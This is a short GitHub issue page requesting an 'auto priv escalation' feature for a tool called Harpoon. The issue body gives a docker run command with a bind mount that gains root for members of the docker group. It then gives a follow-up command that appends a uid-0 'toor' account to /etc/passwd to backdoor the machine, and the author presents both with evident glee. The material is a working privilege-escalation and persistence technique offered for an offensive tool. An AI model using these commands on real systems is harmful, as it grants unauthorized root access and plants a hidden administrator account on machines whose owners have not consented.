Skip to content

Add Auto Priv Escalation to Harpoon #1

@corysabol

Description

@corysabol

If it turns out that you are a part of the docker group, escalate to root with the following:

docker run -it --rm -v $PWD:/mnt bash

We can also backdoor the machine after this with;

echo 'toor:$1$.PWORDHASH:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Just another reason why Docker bind mounts can be dangerous >:)

Metadata

Metadata

Assignees

Labels

enhancementNew feature or request

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions